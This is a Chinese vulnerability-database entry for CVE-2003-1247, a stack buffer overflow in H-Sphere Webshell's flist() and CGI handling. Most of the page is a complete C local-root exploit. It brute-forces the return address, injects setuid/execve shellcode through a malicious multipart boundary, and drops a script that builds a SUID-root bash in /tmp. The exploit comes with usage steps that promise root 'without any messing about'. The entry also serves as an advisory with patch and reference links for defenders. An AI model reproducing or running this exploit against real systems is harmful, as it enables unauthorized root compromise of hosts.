H-Sphere Webshell flist()远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107151 漏洞类型 输入验证
发布时间 2003-01-06 更新时间 2006-01-17
CVE编号 CVE-2003-1247 CNNVD-ID CNNVD-200312-158
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/22128
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-158
|漏洞详情
Webshell是一款基于WEB的应用程序,可以作为文件管理器进行文件上传和下载处理,使用用户名/密码方式进行认证,以suidroot属性运行。Webshell使用的flist()函数存在缓冲区溢出,远程攻击者可以利用这个漏洞覆盖堆栈中数据,可能以root用户权限在系统上执行任意指令。flist.c包含如下flist()函数:charfname[256];intesize=strlen(ext);intfsize;if((cdir=opendir(dname))!=NULL){while((cfile=readdir(cdir))!=NULL){if((esize>=(fsize=strlen(cfile->d_name)))||(strstr(cfile->d_name+fsize-esize,ext)==NULL))continue;strcpy(fname,dname);strcat(fname,"/");strcat(fname,cfile->d_name);其中接收外部参数拷贝到fname[]数组时缺少正确检查,可导致EIP覆盖,精心构建提交数据可能以root用户权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/6527/info

A vulnerability has been discovered in H-Sphere Webshell. During the pre-authentication phase Webshell fails to perform sufficient bounds checking on user-supplied HTTP parameters. As a result, a malicious attacker may be able to trigger a buffer overrun.

Successful exploitation of this issue would allow an attacker to overwrite the vulnerable function's instruction pointer. By causing the program to return to attacker-supplied instructions, it may be possible to execute arbitrary code with the privileges of the target process.

It should be noted that this issue was discovered in H-Sphere 2.3 RC3. It is not yet known whether earlier versions are also vulnerable. 

/*
 * Local r00t exploit for Webshell 2.4 (possibly other versions).
 * Vulnerability found and exploit written by Carl Livitt
 * (carl (@) learningshophull.co.uk).
 *

Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.

Uses a bruteforce method to guess the return address on the stack
and the amount of data to overflow the buffer with; this ensures
it works under many different environments. I originally hardcoded
these values, but found that this was unreliable.

Copy this file (webshell-local.c) to /tmp and then:

cd /tmp
gcc -o webshell-local webshell-local.c
cd /path/to/the/webshell/directory
/tmp/webshell-local

That should get you r00t without any messing about.

*/


#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

#define EGG_SIZE_START 257
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbfffe910
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCREMENT 256
#define CONTENT_LENGTH 42
#define SHELLSCRIPT_FILE "/tmp/zz"
#define EXPLOIT_FILE "/tmp/.webshell.txt"
#define ROOT_SHELL "/tmp/rs"
#define WEBSHELL_PROGRAM "./webshell"

void create_shellscript_file();
void make_shellcode();
void make_exploit_buffer();
void setup_environment();
void make_exploit_file();

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh

char sc[1024];
char egg[1024];

char shell_script[]=
        "#!/bin/sh\n"
        "cd /tmp\n"
        "cat << ROOTSHELL > "ROOT_SHELL".c\n"
        "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
        "ROOTSHELL\n"
        "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
        "chown root:root "ROOT_SHELL"*\n"
        "chmod 6777 "ROOT_SHELL"\n"
        "chmod 0666 "ROOT_SHELL".c\n";

char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";

int EGG_SIZE=EGG_SIZE_START;
unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
char *env[4];

/*
 * The fun begins here...
 */

main(int argc, char **argv) {
        int brute_force_mode=1, status, pid;
        struct stat s;

        /*
         * Check to see if the exploit has been run before...
         */
        if(stat((char *)ROOT_SHELL,&s)==0) {
                printf("Root shell already exists... executing...\n");
                system(ROOT_SHELL);
                exit(0);
        }

        /*
         * Make sure that the webshell binary can be found
         * and is SUID root
         */
        if(stat(WEBSHELL_PROGRAM, &s)!=0) {
                printf(WEBSHELL_PROGRAM" not found!\n");
                exit(1);
        } else if(!(s.st_mode&S_ISUID)) {
                printf(WEBSHELL_PROGRAM" is not SUID root!\n");
                exit(1);
        }

        /*
         * Start the bruteforce loop...
         */
        printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
        do {
                // setup exploit buffers
                make_shellcode();
                make_exploit_buffer();
                setup_environment();
                make_exploit_file();
                create_shellscript_file();
                printf(".");fflush(stdout);

                // fork and execute the webshell binary, passing it the
                // exploit input.
                if((pid=fork())==0) {
                        system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
                        exit(0);
                } else {
                        waitpid(pid, &status, 0);
                }

                // If ROOT_SHELL exists, then the exploit was successful.
                // So execute it!
                if(stat((char *)ROOT_SHELL,&s)==0) {
                        printf("\nEntering r00t shell...\n\n");
                        system(ROOT_SHELL);
                        exit(0);
                }

                // The ROOT_SHELL did not exist, so adjust the bruteforce
                // parameters and continue...
                EGG_SIZE++;
                if(EGG_SIZE>EGG_SIZE_END) {
                        RET_ADDR+=RET_ADDR_INCREMENT;
                        if(RET_ADDR>RET_ADDR_END) {
                                printf("Leaving bruteforce mode...\n");
                                brute_force_mode=0;
                        } else {
                                EGG_SIZE=EGG_SIZE_START;
                        }
                }
        } while(brute_force_mode);
        printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
}

/*
 * Creates the file to be used as stdin for webshell.
 */
void make_exploit_file() {
        FILE *fp;

        if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
                printf("Could not create exploit file %s\n", EXPLOIT_FILE);
                exit(1);
        }
        fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
        fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
        fclose(fp);
}

/*
 * Create the malicious environment in which webshell will run
 */
void setup_environment() {
        int i;

        unsetenv("S");
        unsetenv("CONTENT_LENGTH");
        unsetenv("REQUEST_METHOD");
        unsetenv("CONTENT_TYPE");
        env[0]=strdup(egg);
        env[1]=strdup(sc);
        env[2]=strdup("CONTENT_LENGTH=261");
        env[3]=strdup("REQUEST_METHOD=POST");
        env[4]=NULL;
        for(i=0;i<4;i++)
                putenv(env[i]);
}

/*
 * It is the 'boundary' section of a multipart/form-data MIME type
 * that overflows the buffer in webshell. This function creates the
 * malicious boundary.
 */
void make_exploit_buffer() {
        int i;

        memset(egg, 0, EGG_SIZE-1);
        memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
        for(i=0;i<EGG_SIZE; i+=4) {
                egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
                egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
                egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
                egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
        }
        egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
}

/*
 * Makes a 1024-byte buffer filled with NOPs and shellcode
 */
void make_shellcode() {
        memset(sc, 0x90,1024);
        sc[0]='S';
        sc[1]='=';
        memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
        sc[1023]='\0';
}

/*
 * Generate the shellscript that will be executed by the shellcode.
 * By default, it will create a SUID root shell in /tmp
 */
void create_shellscript_file() {
        FILE *fp;

        if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
                printf("Could not create %s\n", SHELLSCRIPT_FILE);
                exit(1);
        }
        fprintf(fp, "%s", shell_script);
        fclose(fp);
        chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
}
|参考资料

来源:BID
名称:6540
链接:http://www.securityfocus.com/bid/6540
来源:BID
名称:6538
链接:http://www.securityfocus.com/bid/6538
来源:BID
名称:6537
链接:http://www.securityfocus.com/bid/6537
来源:BUGTRAQ
名称:20030106RemoterootvulninHSphereWebShell
链接:http://www.securityfocus.com/archive/1/305313
来源:XF
名称:hsphere-webshell-flist-bo(11003)
链接:http://www.iss.net/security_center/static/11003.php
来源:XF
名称:hsphere-webshell-diskusage-bo(11002)
链接:http://www.iss.net/security_center/static/11002.php
来源:XF
名称:hsphere-webshell-readfile-bo(10999)
链接:http://www.iss.net/security_center/static/10999.php
来源:psoft.net
链接:http://psoft.net/misc/webshell_patch.html
来源:SECTRACK
名称:1005893
链接:http://www.securitytracker.com/id?1005893
来源:BID
名称:6527
链接:http://www.securityfocus.com/bid/6527
来源:SECUNIA
名称:7832
链接:http://secunia.com/advisories/7832
来源:NSFOCUS
名称:4171※4164※4169
链接:http://www.nsfocus.net/vulndb/4171※4164※4169